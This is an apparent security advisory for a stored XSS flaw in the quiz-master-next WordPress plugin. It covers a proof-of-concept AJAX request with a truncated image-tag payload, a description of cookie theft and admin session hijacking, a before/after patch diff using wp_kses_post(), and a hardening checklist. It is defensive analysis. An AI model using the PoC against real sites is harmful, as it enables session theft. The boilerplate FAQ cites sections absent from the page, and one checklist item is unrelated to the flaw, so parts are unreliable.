SECURITY ADVISORY / 01

CVE-2026-40787 Exploit & Vulnerability Analysis

Complete CVE-2026-40787 security advisory with proof of concept (PoC), exploit details, and patch analysis.

cve_patchdiff:quiz-master-next NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An unauthenticated attacker can store malicious JavaScript in a quiz alert message by triggering the alert system during quiz creation or submission, which is then executed in the browser of any user viewing the compromised page.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded

action=qsm_new_alert&type=error&message=<img src=x

When a user navigates to a page displaying quiz alerts—typically the quiz dashboard or results page—the injected script executes in their browser context with full access to session cookies and CSRF tokens. An attacker observing the fetch request receives the victim's authentication cookies; if the victim is an administrator, the attacker gains admin-level session hijacking capability.

What the Patch Did

Before

$alert_list .= "<div id=\"message\" class=\"updated below-h2\"><p><strong>".__('Success!', 'quiz-master-next')." </strong>".$alert["message"]."</p></div>";
echo apply_filters( 'qsm_alert_messages', $alert_list );

After

$alert_list .= "<div id=\"message\" class=\"updated below-h2\"><p><strong>".__('Success!', 'quiz-master-next')." </strong>".wp_kses_post($alert["message"])."</p></div>";
echo wp_kses_post( apply_filters( 'qsm_alert_messages', $alert_list ) );

The patch introduced output escaping via wp_kses_post() at two critical points: wrapping the user-controlled $alert["message"] variable and the final filtered output before echo. wp_kses_post() is WordPress's HTML sanitizer that permits only safe tags (like <p>, <strong>, <a>) and strips or encodes dangerous attributes and script tags. The patch also moved escaping to the outermost layer, ensuring that even filters cannot introduce unescaped content.

Root Cause

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

The alert message originates from user input passed to the newAlert() function via the qsm_new_alert AJAX action. The value is stored in the alert manager's internal state and later rendered into HTML without any encoding. When echo $alert["message"] executes, the browser interprets the raw string as HTML and JavaScript, crossing the trust boundary from data to code. The apply_filters() call compounds the risk by allowing third-party code to inject content that is also never escaped.

Why It Works

The load-bearing line is wp_kses_post($alert["message"]). Without it, an <img onerror> or <svg onload> tag passes through unchanged and executes. The second call to wp_kses_post() wrapping the filter output is defensive depth: it catches escapes inserted by plugins in the filter hook. If you removed only the inner wp_kses_post(), a malicious filter could still inject script. If you removed only the outer one, malicious filters would win. Together, they ensure that no code path outputs raw HTML containing user input.

WordPress provides wp_kses_post() specifically for this pattern—outputting content that may contain intentional HTML markup (like <strong> for emphasis) while neutralizing script vectors. The patch chose it over esc_html() (which would have blocked all tags) or bare escaping because alerts legitimately format text with bold and links.

Hardening Checklist

  • Adopt wp_kses_post() for all dynamic HTML output: Any variable echoed into an HTML context must pass through wp_kses_post(), esc_html(), esc_attr(), or esc_url() depending on context. Teach your team to treat echo $var as a security red flag.

  • Escape filter outputs defensively: If your plugin uses apply_filters() on strings that will be echoed, wrap the result in wp_kses_post(). Filters are an attack surface if they involve user-controlled data.

  • Use $wpdb->prepare() for all dynamic SQL, even table names: Replace string interpolation with $wpdb->prepare() and the %i placeholder for identifiers (introduced in WordPress 6.2). For older versions, use $wpdb->prefix and validated integer values.

  • Implement input validation on the storage side: When accepting alert messages, call sanitize_text_field() or wp_kses_post() at the point of insertion, not just output. This reduces the attack surface if other code paths inadvertently output the value unescaped.

  • Run a SAST scan targeting XSS patterns: Use tools like phpcs with the WordPress-Security ruleset to flag echo statements without escaping, SQL queries with string interpolation, and unescaped filter results.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-40787

Frequently asked questions about CVE-2026-40787

What is CVE-2026-40787?

CVE-2026-40787 is a security vulnerability. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2026-40787?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2026-40787. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2026-40787 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2026-40787?

CVE-2026-40787 — check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2026-40787?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls.

What is the CVSS score for CVE-2026-40787?

The severity rating and CVSS scoring for CVE-2026-40787 is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.